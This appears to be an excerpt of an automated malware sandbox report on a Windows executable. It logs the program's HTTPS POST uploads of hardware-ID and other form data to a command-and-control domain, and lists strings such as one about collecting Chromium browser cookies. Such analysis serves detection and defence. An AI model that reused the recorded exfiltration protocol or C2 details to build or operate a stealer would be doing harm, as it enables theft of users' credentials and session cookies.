2024-04-20 17:21:00 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 44 31 46 33 38 30 39 32 31 37 35 42 43 38 30 38 45 36 36 35 38 39 33 37 41 44 34 46 31 42 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 73 78 46 4b 75 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"4D1F38092175BC808E6658937AD4F1B2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4sxFKu----b
2024-04-20 17:21:00 UTC	5101	OUT	Data Raw: 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-04-20 17:21:00 UTC	802	IN	HTTP/1.1 200 OK Date: Sat, 20 Apr 2024 17:21:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tuuemb8rqm6a26o4qbimv3hthd; expires=Wed, 14-Aug-2024 11:07:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=P3tlIfc22yN%2F9nwVq1ObuWuydqlL6AozMnCUWgNbeDTAqXjLa7Ufs6f9QuJJ%2FqlTM5Uj2gvIq1HPxMq2MYRWXODcWuMYwpWw4uASo0WnVdNFZ2V4duNwD3JkEiMCdXLB15wVCZpWrRgC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8776cee9dc9c453d-ATL alt-svc: h3=":443"; ma=86400
2024-04-20 17:21:00 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-20 17:21:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	172.67.177.98	443	6816	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-20 17:21:01 UTC	287	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 7079 Host: greetclassifytalk.shop
2024-04-20 17:21:01 UTC	7079	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 44 31 46 33 38 30 39 32 31 37 35 42 43 38 30 38 45 36 36 35 38 39 33 37 41 44 34 46 31 42 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 73 78 46 4b 75 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"4D1F38092175BC808E6658937AD4F1B2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4sxFKu----b
2024-04-20 17:21:02 UTC	804	IN	HTTP/1.1 200 OK Date: Sat, 20 Apr 2024 17:21:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=205p50ecvr1ug9o1l42as7jr7q; expires=Wed, 14-Aug-2024 11:07:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nrXCX%2BNYzeMDiynxpil8jFfhX83pmkkBvne5JrWkIS%2FKIrp1L5pIfpTOeHTiXJdfN3P32ArwteATSHiaRSfZgK4lCVyhWn5UmF1KKs8%2F0XdpoMTqEcEyauKJ0S3IkDMFBdW1WkPkE1LM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8776cef0f86b453e-ATL alt-svc: h3=":443"; ma=86400
2024-04-20 17:21:02 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-20 17:21:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49736	172.67.177.98	443	6816	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-20 17:21:02 UTC	287	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1389 Host: greetclassifytalk.shop
2024-04-20 17:21:02 UTC	1389	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 44 31 46 33 38 30 39 32 31 37 35 42 43 38 30 38 45 36 36 35 38 39 33 37 41 44 34 46 31 42 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 73 78 46 4b 75 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"4D1F38092175BC808E6658937AD4F1B2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4sxFKu----b
2024-04-20 17:21:02 UTC	804	IN	HTTP/1.1 200 OK Date: Sat, 20 Apr 2024 17:21:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jc7228mb4mv7c293djh20cnbln; expires=Wed, 14-Aug-2024 11:07:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dkGbJqUUJjj1ehPEXr%2Be0SUF84qqcrxS6FHoes30ikMZGqRcDEs7uDSqEas84ml1CjXV8K9VOGccYGBHmJEx%2FBhZgDITJAeQcfm6TLldzhtgfrth6bdtV%2FVmd9b7PFIj6Abzhdb4jkTd"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8776cef5ee51457b-ATL alt-svc: h3=":443"; ma=86400
2024-04-20 17:21:02 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-20 17:21:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49737	172.67.177.98	443	6816	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-20 17:21:03 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 579140 Host: greetclassifytalk.shop
2024-04-20 17:21:03 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 44 31 46 33 38 30 39 32 31 37 35 42 43 38 30 38 45 36 36 35 38 39 33 37 41 44 34 46 31 42 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 73 78 46 4b 75 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"4D1F38092175BC808E6658937AD4F1B2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4sxFKu----b
2024-04-20 17:21:03 UTC	15331	OUT	Data Raw: a1 8a ad 59 2d e5 52 d4 38 04 06 b0 a7 74 50 73 f2 bb 92 77 b7 f2 79 b7 04 76 96 0d 36 14 6f ed a6 7d 77 6c 34 6c 07 9c a4 8b df d8 84 ec 07 bd 38 71 ad 38 5c 19 41 ae 04 a5 db e1 cc d3 38 b5 73 2e f5 19 68 dc 15 f0 c5 ed be 94 81 61 dc 2c a7 f9 ea 71 fb 61 28 5e d0 1b 1f 26 6e d6 66 c1 d8 0b 9b 22 92 e1 c3 11 b4 f9 cf 07 a3 14 88 1c 73 6c 64 14 15 79 95 f0 22 c5 52 9e da bb 6c 0e c7 f6 c1 21 7c 3c 3b 42 28 2d 24 9c c0 ba 1d a5 f6 f9 c6 a8 4d bc ea a8 cc ab ef b6 0e a6 15 39 0e 6e 90 a3 d2 c2 fb ef f6 85 c8 09 6f fe e7 89 3b 3f a0 38 1a 55 73 a7 fa f0 41 f1 7f aa 99 60 1a 8c 4f f5 5a 91 63 43 13 b9 f6 61 ee aa 70 d2 5b c3 37 ef 09 cb a3 ff b5 9f bb be b9 72 45 47 76 30 76 ac 9b 33 b9 93 c8 3c 58 dd 0e 55 2d 49 cb 51 39 fb 7b 83 b7 77 d3 dc e0 c0 de 5b 79 Data Ascii: Y-R8tPswyv6o}wl4l8q8\A8s.ha,qa(^&nf"sldy"Rl!\|<;B(-$M9no;?8UsA`OZcCap[7rEGv0v3<XU-IQ9{w[y
2024-04-20 17:21:03 UTC	15331	OUT	Data Raw: 38 cd 6d db 20 d2 2c 91 e0 83 21 a2 96 b4 e7 96 ae 88 cf 45 29 76 9a c1 55 1d 6e 84 d9 d7 3c 04 e6 cc c6 f8 27 0e 3f fb 78 24 bd b8 53 6b 67 e6 34 39 a3 49 9d c7 f8 a3 78 e5 82 48 c6 b0 e5 86 f1 64 56 3b bb 29 e8 cf e7 59 88 7a 31 c2 c5 25 73 75 96 6d 5f 68 c8 c4 16 b2 ed 65 70 47 fb 82 95 6b b6 1e 6a fd 9e 3e 32 85 90 52 68 ac cc fe 02 35 1c df 79 5f 50 9f b1 dc 1a 89 57 c6 3a 35 73 88 85 d2 3a 91 28 55 3e f2 8f 92 49 9b eb ca 55 03 8d 36 96 cb a0 0d d5 8e 97 71 4b 00 17 21 1d 21 f3 f2 93 c8 fe a3 f9 f1 99 f2 06 cd 7b dc 38 e1 a5 e5 50 01 83 63 fc f9 27 89 1c 8f 57 78 b3 50 b6 c1 8e 77 a3 0f 43 d1 37 b5 94 af e3 16 f6 f8 59 f1 25 14 47 37 df d2 be 76 22 f4 20 31 9a 73 59 04 36 d4 27 de ab d4 3f df ea fb 41 57 2d 8a 92 2c 5e e9 69 6d bc 3c 10 7e 65 c5 18 Data Ascii: 8m ,!E)vUn<'?x$Skg49IxHdV;)Yz1%sum_hepGkj>2Rh5y_PW:5s:(U>IU6qK!!{8Pc'WxPwC7Y%G7v" 1sY6'?AW-,^im<~e
2024-04-20 17:21:03 UTC	15331	OUT	Data Raw: e4 55 57 99 f8 7a 75 48 94 da b3 e8 02 3e 70 05 d2 64 cc 2a 08 e4 03 c9 67 86 cf ba 48 e4 c4 5f 20 7f 8c 80 be 76 b2 36 f3 98 c5 0a 66 9b d4 93 a5 fb 4f bb 4f c4 19 50 12 f8 46 59 16 ab 7f 4d 30 63 2a ac 4b f6 ba 47 46 f0 11 f5 37 3b d8 bd 07 64 b9 ed 28 70 5e 7d 7c 54 e5 c5 fb e7 d8 f1 87 fc d7 05 c9 ba 10 be 8a 2c 88 d4 a9 53 f5 5b 37 f3 3c c0 3d a6 e9 03 8b e7 3b 11 90 1c 34 7e ee 0e 64 7f f5 90 43 c3 c5 0b 37 77 6f 42 3f 68 7e 5c fa 98 72 ac 6a 13 ca 3a 9d db 08 71 5f 59 db f1 37 c4 60 5f 29 91 fa ab 8f 49 b4 4b 53 f0 19 0b 16 d9 f2 4f 21 52 19 e5 33 0c bd 23 90 9b 2a 8a bf 19 ff 7d 4a 2a eb e0 67 c0 08 0e b3 16 e4 39 7f db 01 13 f6 b9 19 ce d5 be fd 38 2c b6 64 40 8e 7a 05 4f 36 1c bd 3b f9 70 26 2c 2a b1 43 55 6e a2 6e 9b 3d bb 98 87 d4 a9 da 68 da Data Ascii: UWzuH>pdgH_ v6fOOPFYM0cKGF7;d(p^}\|T,S[7<=;4~dC7woB?h~\rj:q_Y7`_)IKSO!R3#}Jg98,d@zO6;p&,*CUnn=h
2024-04-20 17:21:03 UTC	15331	OUT	Data Raw: f8 d4 00 9c e5 a6 85 72 71 2c 54 4a 2b b1 c9 4e 89 36 f9 5b bc 60 fb ea 7d ac 36 e7 34 2a ff 3c 9d a7 a4 ed ba 6d b7 0e e2 ca 17 1a 62 23 af a9 ff dc 0b 09 3b ac cb 9d ad f8 87 92 72 07 6f c4 4d d1 66 15 96 75 34 51 95 19 8a 74 9c 32 f5 fe f6 e0 0e 19 1e ed c5 e7 2e 97 c6 0c 51 f0 03 87 d7 55 7d b9 3e d6 07 b9 a4 4e 8c 25 f4 64 d1 a1 72 b7 f9 27 da ac 1c 65 70 d3 03 71 9b 79 57 fd c2 fd b9 f6 46 db 27 4f 29 83 53 a7 73 2c c1 74 a2 b9 66 ba 46 4c 8c 17 a6 d7 1c 0b 25 18 82 0a 84 1d 03 02 1d 37 f3 da de 07 5e 8a a6 be 52 bc cf 9e ad 25 0c b9 b1 24 97 85 4e e2 fc b7 7e 20 da 98 32 c2 57 50 52 3c 2f 05 a9 14 76 ce fc dd 6a 8e 91 ed ba 8c 95 4a df c8 8b c3 95 1a 44 cf 4a 5d 3f 96 b6 85 12 77 fb 73 35 51 7c f5 b3 3b 77 c0 80 cc 2b 42 3c 38 3a 9f 63 5f fd 7e 82 Data Ascii: rq,TJ+N6[`}64*<mb#;roMfu4Qt2.QU}>N%dr'epqyWF'O)Ss,tfFL%7^R%$N~ 2WPR</vjJDJ]?ws5Q\|;w+B<8:c_~
2024-04-20 17:21:03 UTC	15331	OUT	Data Raw: e1 b9 07 46 6f 1f c1 d8 c3 8d e7 46 9e bd 8b 32 c1 e5 77 72 08 f3 f3 46 6a f8 ae ee db b3 08 f0 67 46 45 b0 d3 c3 1c cf 13 ee cb be 10 90 79 38 ae 84 ae c2 0b de 33 92 7a a2 43 25 c7 2c a7 e8 32 76 dc a2 b6 58 d9 22 e8 79 7b db 31 86 a6 0b 97 6a bd 4a a8 f2 45 ed c1 ed 20 74 4e f1 09 c8 a8 ec 5a ed 38 ef 32 b7 86 3d ed 10 82 f2 bd 38 56 1b 14 a6 bd 1b 47 cb 75 6d 35 27 7c 64 ff 1a ca f6 01 7f 14 27 52 cd 66 c1 bd 5a 82 11 27 a9 c8 c5 4f 74 4c 36 03 09 9a 9e 92 a3 c3 2b ef ec 25 75 1b cd b7 b6 82 d4 13 00 03 d1 ff 14 64 57 af fc e5 7a b2 c3 83 e4 4b 52 86 2e c2 54 da 03 af d9 d6 e3 fe 57 f6 71 71 d4 47 c1 89 5b a1 32 47 f8 01 9e 0a 32 bf c0 e4 f4 06 38 1b 09 e6 ca 79 a4 b5 a9 3a d6 5c 72 60 f2 2f fc 2f 28 e4 80 c2 47 79 46 c9 fc 3a 28 a9 9a 07 82 1a fd cf Data Ascii: FoF2wrFjgFEy83zC%,2vX"y{1jJE tNZ82=8VGum5'\|d'RfZ'OtL6+%udWzKR.TWqqG[2G28y:\r`//(GyF:(
2024-04-20 17:21:03 UTC	15331	OUT	Data Raw: 2b 2f 1c 67 8f 00 a6 8c ba f5 89 9a f4 60 d7 37 72 95 d5 e1 3d bb 34 53 17 7a 8b 54 fa 8a dd ac 97 d7 0a c2 bc 2e 0b e0 d9 6b 35 c7 87 e9 93 b6 0f 66 2c e3 b9 cb a8 fa e1 d9 02 fb e7 67 6f 31 13 90 6a 03 15 89 f4 75 39 30 33 cc 09 65 6c fb a6 19 7e db 96 9f 8b d5 98 97 cf 38 56 70 39 9c 4c e0 40 58 97 c4 43 5e 10 d0 fa b9 68 2b 26 90 d7 07 ee b5 ce db 30 1f 3f bc af 4b d1 d4 a7 fd 5e d5 bf 65 f7 6e 43 0d 87 9a 46 2e 22 e9 7b 3b eb 4c c2 c3 71 d7 d0 2f 4e eb c3 04 7e 51 97 ef 14 ca 9d e7 0b 1b e2 4d 4f cb ff df 47 88 cf 8e 40 d4 54 32 86 cb a8 9c 3f eb 73 51 97 e4 d1 da 91 c5 cf 4a b4 33 98 9c b6 d6 ef 51 b5 18 70 b6 27 43 91 8f 7d 03 0e e9 f3 f9 3b 18 6e f9 5a 89 9f 4b 79 4d a7 e2 09 1f e8 05 12 97 e0 92 26 8b e3 04 f3 b3 9f e2 31 dc 85 22 0b 5d 13 ec 7d Data Ascii: +/g`7r=4SzT.k5f,go1ju903el~8Vp9L@XC^h+&0?K^enCF."{;Lq/N~QMOG@T2?sQJ3Qp'C};nZKyM&1"]}
2024-04-20 17:21:03 UTC	15331	OUT	Data Raw: 92 54 81 7a ee db ff 90 6b 83 7c 38 69 9b 87 8c 5b f6 fa 40 f1 2f 6a d4 c1 69 70 44 0a e7 48 b6 cf 4d 2d 53 cd 53 59 3f de 6b b5 1b 97 a5 c4 8d 95 89 ad df ac 51 5b 9d 12 56 88 20 b6 0b 12 2a 38 fb 5f 33 a6 71 13 21 1f fc 89 6a 0c 6a aa 99 39 1e 41 a1 f2 1a bf d1 1e 49 22 26 59 51 28 f3 e3 0f a5 b5 68 ee 47 31 05 32 50 e9 0a b3 b3 bd 51 65 41 14 b5 07 35 f1 ec 70 9c 05 72 69 34 69 e2 2e be 77 55 80 1a bb a2 90 e8 2c e6 c5 d9 a9 3e 27 46 cd 3e 63 87 73 a5 f4 cf e4 46 76 b4 e6 6b 6f cf 4b 34 9b 65 ab 50 e2 2d c3 b9 ea 76 8e d0 00 ab 19 0b 7c da 3a 46 60 d5 2c 82 40 a1 b0 28 fa ac 41 68 b5 5c d8 97 c8 e6 bf dc 1f f4 ae 19 00 45 b1 af 15 4b c1 a1 f1 ea 0b a9 07 fd d0 17 a7 b8 bb dc 50 00 8b b5 56 a9 2e e5 93 ce c7 27 ac 23 78 cd 67 36 5d cf 72 19 68 57 5a a3 Data Ascii: Tzk\|8i[@/jipDHM-SSY?kQ[V *8_3q!jj9AI"&YQ(hG12PQeA5pri4i.wU,>'F>csFvkoK4eP-v\|:F`,@(Ah\EKPV.'#xg6]rhWZ
2024-04-20 17:21:03 UTC	15331	OUT	Data Raw: ab ce c6 c6 e5 ae 9d bd aa 42 57 a1 cd 13 e5 0c e4 1d cf 31 e3 46 65 c7 43 27 10 e0 b6 b9 c9 2a 3f 7d cd 34 a0 80 2f d1 8d b1 1f 26 32 de bc 83 d4 48 2b 61 67 eb 80 a4 e3 2e 52 75 59 f5 04 63 98 23 44 38 48 0b 36 ef 91 a3 69 41 f4 a5 63 07 b0 b2 ee b0 d5 dd 47 d3 c2 47 c2 65 12 ca f3 d3 96 1d 4a 07 f9 45 27 9a 76 c6 7f 3d 20 7d e3 62 52 25 17 8b 7a 61 65 0f 91 dc b8 43 23 f9 d7 fb 23 c0 0a 58 9b 37 1a 18 c9 f8 68 de d6 94 b0 4f 59 71 36 fd dd 36 8d 25 c6 06 e3 1d 02 41 c2 78 92 d9 3f d7 a8 c6 2a 58 0e a5 fd df d0 fe a7 4e 9d c9 df 5c 5a 41 27 9a 6f 05 0b 82 7d ab c2 cd 2a 8d e7 68 86 1e c2 ba 34 15 77 e8 2a 84 7e 5a 07 a8 93 a3 1d ea 3a 23 75 5e 42 02 ea 8d e6 4e 56 86 cd e7 47 d7 ed e8 aa 83 06 eb 29 db bd 63 dd 92 dd f5 79 96 4b 05 28 aa b3 8d b9 b4 a4 Data Ascii: BW1FeC'?}4/&2H+ag.RuYc#D8H6iAcGGeJE'v= }bR%zaeC##X7hOYq66%Ax?XN\ZA'o}h4w~Z:#u^BNVG)cyK(
2024-04-20 17:21:03 UTC	15331	OUT	Data Raw: 7d 61 3f 11 5e 6a b5 4e 3b b7 69 c1 68 a5 8a 8d 07 a3 7d ad 85 75 19 2a 59 99 f1 30 c7 1c be 0f 58 5f 6b 2f f9 6f e5 b2 e4 e0 95 df c9 20 91 76 8c df 54 8a dc a9 40 07 84 67 59 9a c3 cc 84 11 c1 6f 8e 12 02 84 9b 46 11 a5 bb 20 68 59 0d 68 ed 12 7c d9 c9 bd e4 a7 0a 7e 57 07 ae ab e0 43 bb de 70 47 89 c6 ac 19 de 8f 0a 4d 6e 4f 85 a7 29 22 6d 99 98 fe 78 81 38 30 3d 55 33 dc 6f 10 b8 cc 32 7f 4c 60 68 64 06 70 86 d6 bf f4 7b 6c 62 78 2a bf 62 33 37 1f 56 b1 3f 76 0f e8 34 7f f5 15 6e ab f9 a0 5d 33 7f 90 f5 eb dd 52 7f 25 71 26 93 46 30 86 f4 64 e6 cf b5 08 f4 ef 13 7f 82 03 cc 62 e2 3c 2b c8 6f a8 7c ee 60 d9 7c d0 88 29 a2 ff 4b d8 62 ce 31 af 2a 30 1f 4f 15 6a 3e e2 99 5c b5 a2 e9 e2 ab e0 71 38 f0 b1 39 af cc bb 63 27 57 a6 6c 62 6a 67 79 bc 1d 75 a4 Data Ascii: }a?^jN;ih}uY0X_k/o vT@gYoF hYh\|~WCpGMnO)"mx80=U3o2L`hdp{lbxb37V?v4n]3R%q&F0db<+o\|`\|)Kb1*0Oj>\q89c'Wlbjgyu
2024-04-20 17:21:05 UTC	802	IN	HTTP/1.1 200 OK Date: Sat, 20 Apr 2024 17:21:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m34o9qnekmdte97e1jsdjbecsg; expires=Wed, 14-Aug-2024 11:07:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hmQNqHTW11sb8ONS7bAF7HXy5wA3biIxJ4zZNdywqjV%2FdbhegU%2FRGj1JwYeINpsnxQzqEShVNYXaZrVCgHNenXUGqRsYG3o3MQ1WzcFvUheEa78mwLIHNgyR0gpCLAZ1fxVrE0T4zfJT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8776cefebd7c07da-ATL alt-svc: h3=":443"; ma=86400

Target ID:	0
Start time:	19:20:54
Start date:	20/04/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xfa0000
File size:	5'747'200 bytes
MD5 hash:	0B4AD1C3B3F364C3D79FABDB47FE3385
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	12.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.2%
Total number of Nodes:	694
Total number of Limit Nodes:	20

Executed Functions

Function 00FBCAEC Relevance: 16.9, APIs: 2, Strings: 7, Instructions: 1109COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000,?), ref: 00FBD77D
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,?,?), ref: 00FBD7A8

Strings

AV, xrefs: 00FBD6AF
X&, xrefs: 00FBD6BF
-^, xrefs: 00FBD6B7
SE, xrefs: 00FBD6A7
[info] collected cookies file of the chromium-based browser, xrefs: 00FBCCFF
onqp, xrefs: 00FBCB78
onqp, xrefs: 00FBD2B8

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: -^$AV$SE$X&$[info] collected cookies file of the chromium-based browser$onqp$onqp
API String ID: 237503144-3553015444
